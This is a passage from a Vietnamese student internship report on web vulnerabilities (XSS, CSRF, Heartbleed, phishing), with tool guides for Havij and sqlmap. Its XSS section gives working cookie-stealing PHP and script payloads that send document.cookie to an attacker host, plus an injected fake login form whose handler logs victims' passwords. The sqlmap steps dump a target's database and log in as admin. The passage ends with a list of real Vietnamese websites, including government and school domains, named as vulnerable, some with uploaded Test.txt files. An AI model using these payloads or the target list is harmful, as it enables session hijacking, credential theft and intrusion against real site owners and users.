  • 27. Hình 18. Cách phòng chồng tấn công SQL Injection 5.2 Lỗi Cross Site Scripting (XSS) 5.2.1 Khái niệm Cross-Site Scripting (XSS) là 1 dạng tấn công loại tiêm kích, trong đó các script độc hại được tiêm, nhúng hay chèn vào các trang web khác đáng tin cậy mà người dùng thường không để ý. Các cuộc tấn công XSS xảy ra khi một kẻ tấn công sử dụng một ứng dụng web để gửi mã độc hại, thường ở dạng của một kịch bản phía trình duyệt, cho một người dùng cuối khác nhau. Trình duyệt của người dùng cuối không có cách nào để phát hiện kịch bản không tin tưởng và đã được chèn mã độc đó, và sẽ thực thi kịch bản. Kịch bản
  • 28. độc hại có thể truy cập bất kỳ tập tin cookie, session tokens, hoặc các thông tin nhạy cảm khác được giữ lại bởi trình duyệt và sử dụng với trang web đó. Các kịch bản thậm chí có thể ghi lại các nội dung của trang HTML. Khi người sử dụng click vào những link đó thì toàn bộ cookies, mật khẩu lưu trên trình duyệt được gửi về cho hacker qua email hoặc một file nào đó trên host đã được thiết lập từ trước hoặc bị dẫn tới một trang fishing mà hacker đã thiết lập từ trước. Các kịch bản này cũng có thể cài đặt tự động các chương trình virus, trojan, backdoor trên máy victim tùy vào mệnh lệnh của hacker. Hình 19. Quy trình tấn công XSS đơn giản 5.2.2 Các dạng tấn công Nếu xét theo phương thức xử lý dữ liệu của Website thì có tấn công qua phương thức GET và POST Nếu xét theo nguyên nhân gây ra lỗi XSS nói chung thì có 2 dạng: Server XSS Tấn công Server XSS xảy ra khi người sử dụng không đáng tin cậy cung cấp dữ liệu được bao gồm trong một phản hồi HTML được tạo ra bởi các máy chủ. Nguồn dữ liệu này có thểlà từ yêu cầu, hoặc từ một địa điểm lưu trữ. Như vậy, bạn có thể có cả hai Server XSS lưu trữ và máy phản hồi Reflected XSS Server. Client XSS Tấn công Client XSS xảy ra khi người sử dụng không đáng tin cậy cung cấp dữ liệu được sử dụng để cập nhật các DOM (Document Object Model) với một truy vấn JavaScript không an toàn. Một truy vấn JavaScript được coi là không an toàn nếu nó có thể được sử dụng để giới thiệu các đoạn mã JavaScript hợp lệ vào trong DOM. Nguồn này các dữ liệu này có thể là từ DOM, hoặc nó có thể đã được gửi đi bởi các máy chủ (thông qua một cuộc gọi AJAX, hoặc tải trang). Nguồn cuối cùng của dữ liệu có thể có được từ một yêu cầu, hoặc từ một vị trí lưu trữ trên máy khách hoặc máy chủ. Như vậy, bạn có thể có cả hai máy phản hồi XSS và máy lưu trữ Client XSS. Chi tiết hơn của 2 dạng trên là:
  • 29. Stored XSS thường xảy ra khi người dùng nhập dữ liệu vào được lưu trữ trên máy chủ mục, và sau đó là một nạn nhân có thể lấy dữ liệu được lưu trữ từ các ứng dụng web mà không cần qua phương pháp an toàn nào khi biểu diễn trên trình duyệt. Cụ thể -Stored XSS là lỗi XSS mà đoạn mã chèn thêm vào được lưu trữ trên server, như trong CSDL dưới dạng các comment trong blog, message trong forum hoặc các visitor log. Khi người dùng vào trang này, thì lập tức các script độc được thực thi, ở đây là sẽ tiến hành lấy trộm cookie của người dùng, rồi lưu nó vào một file txt. Stored XSS phát sinh do chúng ta không lọc dữ liệu do thành viên gởi lên một cách đúng đắn, khiến cho mã độc được lưu vào Database của website Reflected XSS xảy ra khi người dùng nhập vào và ngay lập tức quay trở lại bởi một ứng dụng web trong đó có các thông báo lỗi, form kết quả tìm kiếm, form tìm kiếm, hoặc bất kỳ hồi đáp nào khác bao gồm một số hoặc tất cả các đầu vào được cung cấp bởi người sử dụng như một phần của yêu cầu, mà không dữ liệu không cần qua phương pháp an toàn nào khi biểu diễn trên trình duyệt. Cụ thể Kiểu tấn công này áp dụng đối với những form để nhập dữ liệu đầu vào, đặc biệt là các form search. Từ khóa tìm kiếm mà ta nhập vào ô textbox của các Website được hiển thị lại trên trình duyệt. Lợi dụng việc không kiểm soát giá trị này, Hacker thể chèn thêm đoạn mã gây hại vào. DOM XSS là kiểu khai thác XSS khác đi ngược lại với đặc điểm chung là các đoạn mã nguy hiểm sau khi được chèn vào sẽ được thực thi sau respond của server, có nghĩa là lỗi nằm về phía server còn ở đây mã độc được thực thi ngay khi xử lý phía client mà không thông qua server DOM viết tắt của Document Object Model là 1 dạng chuẩn của W3C đưa ra nhằm để truy xuất và thao tác dữ liệu của tài liệu có cấu trúc như HTML, XML. Mô hình này thể hiện tài liệu dưới dạng cấu trúc cây phân cấp. Tất cả các thành phần trong HTML, XML đều được xem như một node. DOM Based XSS là kỹ thuật khai thác XSS dựa trên việc thay đổi cấu trúc DOM của tài liệu, cụ thể là HTML và sự nguy hiểm của DOM- Base XSS chính là với JavaScript. Hình 20. Ví dụ tấn công XSS thông qua Email Hình 21. Ví dụ tấn công XSS bằng ăn cắp Cookies
  • 30. 5.2.3 Cách thức và phương pháp tấn công Hình 22 . Quy trình của tấn công XSS Giải thích quy trình tấn công XSS Hacker biết được người dùng đang sử dụng một ứng dụng Web có lỗ hổng XSS. Người dùng nhận được 1 liên kết thông qua email hay trên chính trang Web (như trên guestbook, banner dễ dàng thêm 1 liên kết do chính hacker tạo ra…). Thông thường hacker khiến người dùng chú ý bằng những câu kích thích sự tò mò của người dùng như “ Kiểm tra tài khoản”, “Một phần thưởng hấp dẫn đang chờ bạn”… Chuyển nội dung thông tin (cookie, tên, mật khẩu…) về máy chủ của hacker. Hacker tạo một chương trình hoặc một
  • 31. trang Web để ghi nhận những thông tin đã đánh cắp vào 1 tập tin. Sau khi nhận được thông tin cần thiết, hacker có thể sử dụng để thâm nhập vào tài khoản của người dùng. Kỹ thuật lấy Cookie Bước 1: Tạo file đánh cắp cookie có tên là getcookie.php với nội dung <?php if(isset($_GET['cookie'])) { $cookie = $_GET['cookie']; // Mở file cookie.txt, tham số a nghĩa là file này mở chỉ để write chứ không scan hay read $f=fopen('cookie.txt','a'); // Ta write địa chỉ trang web mà ở trang đó bị ta chèn script. fwrite($f,$_SERVER['HTTP_REFERER']); // Ghi giá trị cookie fwrite($f,". Cookie la: ".$cookie." n"); // Đóng file lại fclose($f); } ?> File này có nhiệm vụ đánh cắp cookie của victim và ghi thông tin vào file logs.txt Bước 2: Up các file lên host của bạn UP lên host 2 file getcookie.php và logs.txt. Trong đó file getcookie.php có nội dung như trên và file logs.txt là file rỗng để lưu trữ toàn bộ thông tin của victim được gửi về thông qua mệnh lệnh được đưa ra từ file getcookie.php. Lưu ý, phải chmod file log.txt về 777 Bước 3: Khai thác lỗ hổng XSS - Giả sử bạn up 2 file của bạn lên host của site http://tenwebsite thì đoạn mã script ăn cắp cookies có dạng như sau <script> location.href ‘http://tenwebsite/getcookie.php?cookie=’+document.cookie; </script> - Chèn đọa mã vào site dính lỗi XSS là http://victim.com ta được link tươn tự như sau http://www.victim.com/index.php?search= <script> location.href = ‘http://tenwebsite/getcookie.php?cookie=’+document.cookie; </script> Trong nội dung comment ta sẽ viết một đoạn script và nên đặt cuối comment để tránh bị phát hiện. Ở đây ta sử dụng một iframe có chiều cao và chiều rộng bằng 0, border bằng 0, src của nó dẫn tới trang web của Hacker,
  • 32. trang web này có tác dụng lấy cookie của người dùng nếu người dùng đã đăng nhập <script> document.write("<iframe src='http://tenwebsite/getcookie.php?cookie="+document.cookie+"' height='0' width='0' frameborder='0'></iframe>"); </script> Kỹ thuật đánh cắp Anccount Bước 1: Giả mạo trang đăng nhập để lấy thông tin tài khoản http://www.victim.com/search.php?keyword=<center><br><br> <form method=POST action=http://tenwebsite/xuli.php> User:<input name=ten><br> Password:<input name=mk> <input type=submit value=Send> </form><br> Hacker sẽ chèn vào một form đăng nhập , action sẽ chuyển về trang web xử lý của hacker. Khi nạn nhân thực hiện việc đăng nhập thì sẽ bị lấy thông tin tài khoản Bước 2: Hacker tại file xử lý thông tin xuly.php $ten=$_POST['ten']; $mk=$_POST['mk']; $f=fopen("luu.txt","a"); fwrite($f,"Ten: $ten - mat khau: $mk n"); fclose($f); ?> <script> location.href="http://www.victim.com" </script> Sau khi lấy thông tin đăng nhập, Hacker sẽ lưu nó vào một file, sau đó chuyển hướng về trang chủ. Tuy nhiên thay vì đánh tất cả vào đường link search thì Hacker sẽ chuyển nó đến một file js. Trong file js này Hacker mới tạo form đăng nhập. Mục đích của việc này để nạn nhân sẽ không nghi ngờ vì sao đường link dài như vậy http://www.victim.vn/search.php?keyword=<script src=http://tenwebsite/xss/xss.js></script> File XSS.js document.body.innerHTML='<Center>Thông tin đăng nhập<BR> <form action=http://tenwebsite/xss/xuly.php method=POST><table><TR><TD>Tên đăng nhập:</TD> <TD><input name=ten></TD></TR><TR><TD>Mật khẩu:</TD> <TD><input name=mk type=password></TD> </TR><TR><TD></TD>
  • 33. <TD><input type=submit value=Login></TD> </TR> </table> </form></center> Bước 3: Up các file lên host của bạn và khai thác lỗ hổng XSS 5.2.4 Cách phòng chống và bảo mật Tấn công Server XSS là do bao gồm dữ liệu không đáng tin cậy trong một phản hồi HTML. Phòng thủ dễ nhất và mạnh nhất chống lại chủ XSS trong hầu hết các trường hợp là mã hóa đầu ra phía máy chủ, xác nhận đầu vào hoặc dữ liệu làm sạch cũng có thể được thực hiện để giúp ngăn chặn máy chủ XSS, nhưng nó khó khăn hơn nhiều để có được chính xác hơn mã hóa đầu ra bối cảnh nhạy cảm. Tấn công Client XSS xảy ra khi dữ liệu không đáng tin cậy được sử dụng để cập nhật các DOM với một cuộc truy vấn JavaScript không an toàn, phòng thủ dễ nhất và mạnh nhất chống lại Client XSS là sử dụng các API JavaScript an toàn. Tuy nhiên , các nhà phát triển thường xuyên không biết API JavaScript đó có an toàn hay không vì bao giờ cách thức hoạt động, phương pháp trong thư viện JavaScript ưa thích của họ không biết có được an toàn hay không ? Nếu bạn biết rằng một phương pháp JavaScript là không an toàn , đề nghị chính của chúng tôi là tìm một phương pháp an toàn thay thế để sử dụng. Nếu bạn không thể thay nó đối với một số lý do thí sau một hành vi nhạy cảm không an toàn bạn cần mã hóa ngay đầu ra nếu có thể và thực hiện ngay trong trình duyệt, trước khi đi qua dữ liệu với phương pháp JavaScript không an toàn. Cụ thể ta có các phương pháp phòng chóng như sau: Người ta không lường hết được mức độ nguy hiểm của XSS nhưng cũng không quá khó khăn để ngăn ngừa XSS. Có rất nhiều cách để có thể giải quyết vấn đề này. OWASP (The Open Web Application Standard Project) nói rằng để có thể xây dựng các website bảo mật cao, đối với các dữ liệu của người sử dụng bạn nên - Chỉ chấp nhận những dữ liệu hợp lệ. - Từ chối nhận các dữ liệu hỏng. - Liên tục kiểm tra và thanh lọc sữ liệu. Tuy nhiên trên thực tế, một số trường hợp bạn phải chấp nhận mọi loại dữ liệu hay không có một bộ lọc phù hợp. Chính vì vậy bạn phải có những cách riêng để giải quyết. Một trong những cách hay sử dụng là bạn mã hoá các kí tự đặc biệt trước khi in ra website, nhất là những gì có thể gây nguy hiểm cho người sử dụng. Trong trường hợp này thẻ. Đi vào cụ thể - Phương pháp đơn giản là chèn thêm token vào đường link thực hiện thao tác. Giá trị token này phải mạnh, khó đoán, thường là hash của session ID của user kết hợp với password, IP của user, thời điểm đăng nhập,…Mục đích của token là làm cho hacker không thể xác định được chính xác đường link thực hiện thao tác - Chèn thêm bước xác nhận trung gian trước khi thực hiện các thao tác nhạy cảm: có thể là yêu cầu user nhập lại password để xác nhận thao tác của mình trước khi thực hiện hoặc sử dụng captcha để xác nhận - Sử dụng POST thay cho GET
  • 34. 5.3 Lỗi Cross-site Request Forgery (CSRF) 5.3.1 Khái niệm CSRF là kĩ thuật tấn công bằng phương pháp sử dụng quyền chứng thực của người dùng đối với một website, hacker có thể lợi dụng nó để thực thi những request với quyền chứng thực của người dùng. CSRF được thực hiện thành công khi nạn nhân đã thực hiện xác thực với một Lợi dụng sự không chú ý của người dùng, hacker có thể gửi những đường link mà trong đó chứa mã độc thông qua email, đính kèm trên trang web…Khi nạn nhận click vào đường link hay mở email,.. thì những mã độc sẽ được thực thi quyền xác thực của nạn nhận, gây hậu quả cho nạn nhân mà họ không thể biết lúc click. Loại tấn công sử dụng kỹ thuật này thường dành cho người am hiểu về hệ thống, có thể là người từng phát triển ứng dụng đó, hoặc một mã nguồn mở, hoặc một mã nguồn nào đó đã được công khai code. Hình 23. Quy trình tấn công CSRF 5.3.2 Các dạng tấn công Tấn công qua phương thức GET và POST 5.3.3 Cách thức và phương pháp tấn công a. Ngữ cảnh tấn công - Cross-site request forgery (CSRF) đánh lừa nạn nhân load một page mà nó có chứa những request độc hại. Sự Request độc hại này có ý nghĩa là những request được thừa kế định danh và quyền hạn của nạn nhân nhằm mục đích thực thi một số chức năng(function). Những chức năng(function) này được nhân danh nạn nhân - Ở một số Site, browsers có những request liên kết trực tiếp với site, như là user’s session cookie, basic authen credentials, IP address, Windows domain credentials, etc. Vì thế, nếu người dùng đã được xác thực ở tại một thời điểm nhất định thì site sẽ không xác định hay phân biệt được đâu là request của người dùng hợp lệ - Ở một số trường hợp, CSRF có thể được lưu trữ (tồn tại) sẵn trong một số trang website bị lỗi. Những lỗi đó được gọi là stored CSRF flaws. Nó có thể tồn tại trong những thẻ <IMG> hay <IFRAME> trong một trang HTML hay
  • 35. là một số kiểu tấn công cross-site scripting attack. Nếu tấn công CSRF là có sẵn trong site thì tính nghiêm trọng được tăng them gấp nhiều lần Hình 24. Cách thức tấn công chung của tấn công CSRF b. Ví dụ tấn công theo phương thức GET. Trong CSRF, hacker sẽ đợi người dùng kết nối và thực hiện xác thực với một trang web mà họ tin tưởng (trusted server), và lừa người dùng click vào những đường link độc hại có đính kém những mã độc vào. Khi người dùng click vào những đường link độc thì những mã độc sẽ được thực thi trên trusted server. Ở đây cách này nói lên hacker đã sử dụng email mà trong đó đính kèm những đoạn script động hại đến nạn nhân, Khi nạn nhận đã xác thực với một trang web và mở mail lên thì những đoạn script được đính kèm trong đó sẽ thực thi trên máy nạn nhân. Hình 25. Cách thức tấn công chung của tấn công CSRF
  • 36. Bước 1: Attcker sẽ gửi đường link có chữa mã độc tới cho User. Đoạn mã độc để thực hiện một hành vi xấu của Attacker, nó được chứa trong một file HTML, và User sẽ không biết được có mã độc hay không trong file. Mã độc thường là một đường link được giấu trong thẻ img, với thuộc tính width và height của thẻ img đều là 0. Bước 2: Sau khi Attacker gửi và “dụ” được User click vào được link, thì trên máy của User sẽ thực hiện request theo yêu cầu trong đường link có mã độc mà User không hề hay biết. Bước 3: Khi User “bị gửi” yêu cầu trong link có mã độc đến Server thì Server vẫn đáp ứng bình thường, vì User đã được Server cấp cho session để thực hiện request. Và request chứa mã độc được thực hiện một cách hợp lệ mà User không hề hay biết. Biết ID của trường
  • 37. Tạo link thực thi hành động Gửi mail đến người dùng với Link đính kèm Người dùng click vào link Hành động được thực thi.
  • 38. c. Ví dụ tấn công theo phương thức POST Hình 26. Mô hình tấn công CSRF theo phương thức POST Bước 1: Hacker chờ đợi nạn nhân xác thực với vunerability web application
  • 39. Bước 2: Hacker dụ dỗ, dùng mọi biện khác nhau để đánh lừa nạn nhân khởi tạo một request. Request này có chứa session id của nạn nhân (do đã được xác thực), Hacker sửa đổi Request này theo mục đích của mình và chuyển đến cho vunerability web application Bước 3: vunerability web application thấy request này có session id hợp lệ nên sẽ thực thi hành động được ghi trong request Như vậy Hacker đã có thứ hắn muốn đó chính là hành động được ghi trong request được thực hiện bởi vunerability web application nhân danh nạn nhân 5.3.4 Cách phòng chống và bảo mật
  • 40. Đối với người sử dụng internet Nên thoát khỏi các website quan trọng: Tài khoản ngân hàng, thanh toán trực tuyến, các mạng xã hội, gmail, yahoo… khi đã thực hiện xong giao dịch hay các công việc cần làm. (Check email, checking…). Không nên click vào các đường dẫn mà bạn nhận được qua email, qua facebook … Khi bạn đưa chuột qua 1 đường dẫn, phía dưới bên trái của trình duyệt thường có địa chỉ website đích, bạn nên lưu ý để đến đúng trang mình muốn. Không lưu các thông tin về mật khẩu tại trình duyệt của mình (không nên chọn các phương thức “đăng nhập lần sau”, “lưu mật khẩu”. Trong quá trình thực hiện giao dịch hay vào các website quan trọng không nên vào các website khác, có thể chứa các mã khai thác của kẻ tấn công. Đối với web server - Hạn chế thời gian hiệu lực của SESSION - Lựa chọn việc sử dụng GET VÀ POST - Chèn thêm bước xác nhận trung gian trước khi thực hiện các thao tác nhạy cảm: có thể là yêu cầu user nhập lại password để xác nhận thao tác của mình trước khi thực hiện hoặc sử dụng captcha để xác nhận, hay có thông báo xác nhận - Phương pháp đơn giản là chèn thêm token vào đường link thực hiện thao tác. Giá trị token này phải mạnh, khó đoán, thường là hash của session ID của user kết hợp với password, IP của user, thời điểm đăng nhập,…Mục đích của token là làm cho hacker không thể xác định được chính xác đường link thực hiện thao tác - Sử dụng cookie riêng biệt cho trang quản trị - Kiểm tra REFERRER - Kiểm tra IP 5.4 Một số lỗ hổng khác nổi bật hiện nay 5.4.1 Lỗi Heartbleed Heartbleed là một lỗ hỏng nguy hiểm của OpenSSL mới được công bố cho phép hacker có thể từ xa đọc được dữ liệu trên máy chủ có cài đặt OpenSSL phiên bản 1.0.1 đến 1.0.1.f OpenSSL là một thư viện mã hóa, được sử dụng cho mã hóa dữ liệu trao đổi giữa máy chủ và client. Các máy chủ sử dụng OpenSSL như các máy chủ web chạy apache hoặc ngix, các máy chủ email, VPN, Instant Message,... Khi khai thác được lỗ hổng Heartbleed, hacker có thể lấy được private key của server, sử dụng để mã hóa các dữ liệu trao đổi giữa server và client. Từ đó hacker có thể đọc được toàn bộ thông tin được trao đổi giữa client và server như chưa hề được mã hóa (plain text). Có thể nói như hacker có thể đọc được username, password,.. ở dạng plain text. Như vậy, mục tiêu của hacker là các site thanh toán trực tuyến như: ngân hàng điện tử, chứng khoán điện tử, thương mai điện tử,.. Ngoài ra, các mail server và một số dịch vụ sử dụng Open SSL cũng có thể là mục tiêu mà hacker khai thác. Cách phòng chống lỗi Heartbleed là kiểm tra phiên bản OpenSSL hiện tại và cập nhật phiên bản OpenSSL. Với các giao dịch điện tử, tốt nhất là nên sử dụng one-time password có giới hạn thời gian sử dụng ngắn.
  • 41. 5.4.2 Khai thác qua Phishing Phishing là một hình thức gian lận để có những thông tin nhạy cảm như username, password, credit card … bằng cách giả mạo như là một thực thể đáng tin cậy trong các giao tiếp trên mạng. Quá trình giao tiếp thường diễn ra tại các trang mạng xã hội nổi tiếng, các trang web đấu giá, mua bán hàng online…mà đa số người dùng đều không cảnh giác với nó. Phishing sử dụng email hoặc tin nhắn tức thời, gửi đến người dùng, yêu cầu họ cung cấp thông tin cần thiết. Người dùng vì sự chủ quan của mình đã cung cấp thông tin cho một trang web, trông thì có vẽ hợp pháp, nhưng lại là trang web giả mạo do các hacker lập nên. Phishing là một ví dụ của Social Engineering được sử dụng để lừa đảo người dùng và khai thác lổ hổng trong việc sử dụng công nghệ kém an ninh của các website hiện hành. Những nỗ lực mạnh mẽ trong thời gian qua để chống lại Phising bao gồm việc ứng dụng các công nghệ an ninh mới đến việc đào tạo cho nhân viên, và nâng cao ý thức cộng đồng Những yếu tố tuy đơn giản nhưng đã góp phần để một cuộc tấn công Phishing thành công như: Sự thiếu hiểu biết, nghệ thuật đánh lừa ảo giác, không chú ý đến những chỉ tiêu an toàn. Do cách tấn công đơn giản nhưng lại hiệu quả cao nên phishing nhanh chóng trở thành một trong những kiểu lừa dảo phổ biến nhất trên mạng – có đến gần 70% các vụ tấn công trên mạng năm 2003 có liên quan đến phishing Cách phòng chống tấn công Phishing hiện nay là sử dụng một số tool như: PhishTank SiteChecker, SpoofGuard, Netcraft Tool 6. Một số Tool Khai thác lỗ hổng bảo mật Web Application 6.1 Havij 6.1.1 Giới thiệu Havij là một công cụ SQL Injection tự động giúp kiểm tra thâm nhập để tìm và khai thác lỗ hổng SQL Injection trên một trang web. Nó có thể tận dụng lợi thế của một ứng dụng web dễ bị tổn thương. Bằng cách sử dụng phần mềm này, người dùng có thể thực hiện back-end cơ sở dữ liệu, lấy tên đăng nhập Database Manager Systems và hash mật khẩu, bảng và cột, lấy dữ liệu từ cơ sở dữ liệu, thực hiện các câu lệnh SQL đối với máy chủ, và thậm chí truy cập hệ thống tập tin cơ bản và thực hiện lệnh shell trên hệ điều hành. Sức mạnh đặc biệt của Havij để phân biệt nó với các công cụ tương tự nằm trong phương pháp độc đáo là các phương pháp tiêm kích mới 6.1.2 Đặc điểm - Loại bỏ tất cả CSDL mà nó phát hiện - Các phương pháp bypass SQL mới và hiệu quả - Tính năng ghi lại đặc điểm tập tin MSSQL và MySQL - Load mã HTML vào form Input - Lưu dữ liệu tìm được ở dạng CVS - Đa dạng các phương thức Injection 6.1.3 Cách sử dụng Bước 1: Đầu tiên tải về Havij SQL Injection và cài đặt Bước 2: Chạy phần mềm Havij SQL Injection và sao chép và dán liên kết trang web muốn tấn công vào mục Target Bước 3: Bây giờ hãy nhấp vào nút "Analyse"
  • 42. Bước 4: Sau đó, nó cho thấy một số thông điệp tìm được. Là cảnh báo về nó và phải hiển thị kiên nhẫn cho đôi khi tìm thấy nó vulernable và loại tiêm và nếu máy chủ db mysql và nó sẽ tìm thấy cơ sở dữ liệu tên.Sau đó sau khi nhận được cơ sở dữ liệu của nó là tên là … Bước 5: Sau đó di chuyển đến tab Table để tìm bảng bằng. Bây giờ bấm "Nhận được bảng" sau đó chờ đợi một thời gian nếu cần thiết Bước 6: Sau khi nhận được các bảng, tìm đến tên các bảng muốn khai thác thông tin và đánh dấu vào đó, sau đó chuyển sang Tab Get Column để lấy danh sách các cột trong bảng Bước 7: Tiếp theo chuyển sang Tab Get Data để lấy CSDL trong các cột của bảng Bước 8: Cuối cùng, bạn đã có thông tin của admin hay user, bây giờ tìm trang đăng nhập của admin hay cùa cơ sở dữ liệu và tiến hành đăng nhập. Hình 27. Giao diện làm việc của Havij 6.2 Sqlmap 6.2.1 Giới thiệu
  • 43. Sqlmap là một công cụ kiểm tra xâm nhập bằng mã nguồn mở, nó tự động quá trình phát hiện và khai thác lỗ hổng SQL Injection và vượt qua sự kiểm tra của các máy chủ cơ sở dữ liệu. Nó đi kèm với một bộ máy phát hiện mạnh mẽ, nhiều tính năng thích hợp cho các thử nghiệm xâm nhậpcuối cùng và một loạt các thiết bị chuyển mạch kéo dài đến cơ sở dữ liệu. Để truy cập vào hệ thống tập tin cơ bản và thực hiện lệnh trên hệ điều hành thông qua các kết nói ra ngoài. 6.2.2 Đặc điểm - Hỗ trợ đầy đủ các cơ sở dữ liệu như ỗ trợ đầy đủ cho MySQL , Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird , Sybase và hệ thống quản lý cơ sở dữ liệu SAP MaxDB . - Hỗ trợ đầy đủ cho sáu kỹ thuật khai thác lỗi SQL injection như : boolean- based blind, timebased blind, error-based, UNION query, stacked queries and out-of-band. - Hỗ trợ kết nối trực tiếp đến cơ sở dữ liệu mà không cần đi qua một SQL injection , bằng cách cung cấp thông tin Database Management Systems, địa chỉ IP, cổng và tên cơ sở dữ liệu - Hỗ trợ để liệt kê người dùng, các hash mật khẩu , đặc quyền , vai trò, cơ sở dữ liệu , bảng và cột. - Tự động nhận dạng các định dạng băm mật khẩu và hỗ trợ cho việc bẻ khóa chúng bằng một cuộc tấn công dựa trên từ điển - Hỗ trợ để loại bỏ bảng cơ sở dữ liệu hoàn toàn , một loạt các mục hoặc cột cụ thể theo sự lựa chọn của người dùng. Người sử dụng cũng có thể chọn để lọai bỏ chỉ là một loạt các đối tượng nhập ở mỗi cột. - Hỗ trợ để tìm kiếm tên cơ sở dữ liệu cụ thể, bảng cụ thể trên tất cả các cơ sở dữ liệu hoặc cột cụ thể trên tất cả các bảng cơ sở dữ liệu . - Hỗ trợ để tải về và tải lên bất kỳ tập tin từ hệ thống tập tin máy chủ cơ sở dữ liệu cơ bản khi các phần mềm cơ sở dữ liệu là MySQL, PostgreSQL hoặc Microsoft SQL Server . - Hỗ trợ để thực hiện các lệnh tùy ý và lấy đầu ra tiêu chuẩn của họ trên hệ điều hành máy chủ cơ sở dữ liệu cơ bản khi các phần mềm cơ sở dữ liệu là MySQL, PostgreSQL hoặc Microsoft SQL Server - Hỗ trợ để thiết lập một kết nối TCP trạng thái out-of -band giữa các máy tính tấn công và máy chủ cơ sở dữ liệu chạy dưới hệ điều hành cơ bản . Kênh này có thể là một dấu nhắc lệnh tương tác , một phiên Meterpreter hoặc một giao diện người dùng đồ họa (VNC ) phiên theo sự lựa chọn của người dùng. - Hỗ trợ cho quá trình người sử dụng leo thang đặc quyền về cơ sở dữ liệu thông qua lệnh getsystem Meterpreter Metasploit 6.2.3 Cách sử dụng Bạn download Sqlmap tại http://sqlmap.org/ Sqlmap được viết bằng ngôn ngữ Python, vì vậy để sử dụng tool này bạn cần cài đặt Python. Bạn có thể download python tại http://www.python.org/downloads/ Để thực hiện tấn công bạn làm như sau Bước 1: Mở cmd và gõ lệnh dưới đây để sqlmap sẽ phát hiện lỗ hổng của mục tiêu vào đưa ra thông tin về lỗ hổng. python sqlmap.py –u “http://tenwebsite.../....php?id=1” Bước 2: Khi đã xác định được là website mục tiêu tồn tại lỗ hổng SQL injection, ta tiến hành tìm tên cơ sở dữ liệu.
  • 44. python sqlmap.py –u “http://tenwebsite.../....php?id=1” --dbs Bước 3: Sau khi xác định được tên cơ sở dữ liệu, ta sẽ tìm tiếp tên các bảng có trong cơ sở dữ liệu. python sqlmap.py –u “http://tenwebsite.../....php?id=1” --tables –D tenCSDLvuatimduoc Bước 4: Xác định tên các cột trong bảng python sqlmap.py –u “http://tenwebsite.../....php?id=1” --columns –D tenCSDLvuatimduoc –T tenbangvuatimduoc Bước 5: Lấy thông tin dữ liệu từ bảng và cột python sqlmap.py –u “http://tenwebsite.../....php?id=1” --dump –D tenCSDLvuatimduoc –T tenbangvuatimduoc Bước 6: Tìm trang đăng nhập của admin hay trang quan lý CSDL và tiến hành đăng nhập. Hình 28: Giao diện làm việc của Sqlmap 7. Nguy hiểm và mối đe dọa từ các lỗ hổng bảo mật Web Application 7.1 Từ lỗi SQL Injection - Các cuộc tấn công SQL Injection cho phép kẻ tấn công chiếm quyền điều khiển ứng dụng, cơ sở dữ liệu của hệ thống, giả mạo danh tính, sửa đổi, xáo trộn dữ liệu, thay đổi & phơi bày dữ liệu, ăn cắp, thêm xóa dữ liệu. - Ngoài ra tấn công SQL Injection còn có thề ăn cắp cookies, mật khẩu, cướp session làm việc, cài các loại virus, trojan, backdoor trên máy tính nạn nhân. Deface website. Tuy nhiên nó chỉ chạy trên trình duyệt phía client và chỉ tấn
  • 45. công vào bề mặt website, không làm thay đổi cấu trúc mã nguồn, cơ sở dữ liệu của website trên server - SQL Injection là kiểu tấn công rất phổ biến với Web sử dụng PHP và ASPdo sự phổ biến của các giao diện chức năng cũ. Do tính chất của giao diện chương trình có sẵn, J2EE hay các ứng dụng ASP.NET ít có khả năng bị SQL khai thác. Mức độ nghiêm trọng của các cuộc tấn công SQL Injection phụ thuộc vào kỹ năng và trình độ của kẻ tấn công. Hình 29. Thống kê mối nguy hiểm từ tấn công SQL Injection theo EC – Council 7.2 Từ lỗi Cross Site Scripting (XSS) - Ăn cắp cookies, mật khẩu, cướp session làm việc - Cài các loại virus, trojan, backdoor trên máy tính nạn nhân - Deface website. Tuy nhiên nó chỉ chạy trên trình duyệt phía client và chỉ tấn công vào bề mặt website, không làm thay đổi cấu trúc mã nguồn, cơ sở dữ liệu của website trên server. 7.3 Lỗi Cross-site Request Forgery (CSRF) - Đạt được những hành động (menthod) theo ý muốn từ những Request mà nạn nhân vô tình tạo ra như thực hiện một số tác vụ lên ứng dụng web đó là xóa bài, thêm người dùng, thay đổi email, thay đổi mật khẩu của victim. - Cài các loại virus, trojan, backdoor trên máy tính victim - Chiếm quyền điều khiển Website nếu nạn nhân bị lừa chính là Admin.
  • 46. CHƯƠNG III – KẾT QUẢ THỰC TẬP 1. Khảo sát danh sách một số Web Application có lỗi bảo mật Danh sách các website bị lỗi bảo mật ở Việt Nam  http://duhocannong.com/index.html  http://minhnhattelecom.com/index.php  http://hongminhna.com/index.html  http://quangcaothanhvinh.com/index.php  http://chongthamnghean.com/index.php  http://www.chongthamcongtrinh.com/index.php  http://congnghethuysan.vn/index.php  http://www.vhttdlnguyendu.edu.vn/  http://www.ngheanservices.com/index.php  http://www.hondaotovinh.com.vn/index.php  http://www.luatnghean.com/index.php  http://www.ubndhyenthanh.nghean.vn/index.htm  http://www.tieudungnghean.com/index.htm  http://thucphamvang.com.vn/index.htm  http://www.artmediavn.com/index.htm  http://www.thienvietstar.com.vn/index.php  http://www.trunghainastone.com.vn/index.php  http://quangcaonghean.com/index.php  http://www.quangcaonghean.com.vn/index.php  http://www.vnthanhlong.vn/  http://www.kqldb4.gov.vn/index.asp  http://truong4bqp.edu.vn/index.php  http://nongtruong1-5nghean.com/index.htm  http://www.vesynhathoangnghean.com/index.php  http://www.vilaconic.com/index.php  http://www.thuexenghean.com/index.php  http://www.gavinh.com.vn/index.php  http://www.eoffice.kqldb4.gov.vn/index.php  http://service.kqldb4.gov.vn/index.php  http://www.nghiloc.gov.vn/home.php  http://www.ductho.edu.vn/index.asp  http://viet-power.com.vn/userfiles/Test.txt  http://www.thethien.com.vn/upload/Test.txt  http://ethink.vn/vantindat/images/Test.txt  http://www.shresource.com/manager/fckeditor/editor/filemanager/connectors/ aspx/UploadImg/Test.txt  http://pham.cmg.vn/images/news/noidung/Test.txt  http://www.rubbergroup.vn/media/ftp/Test.txt
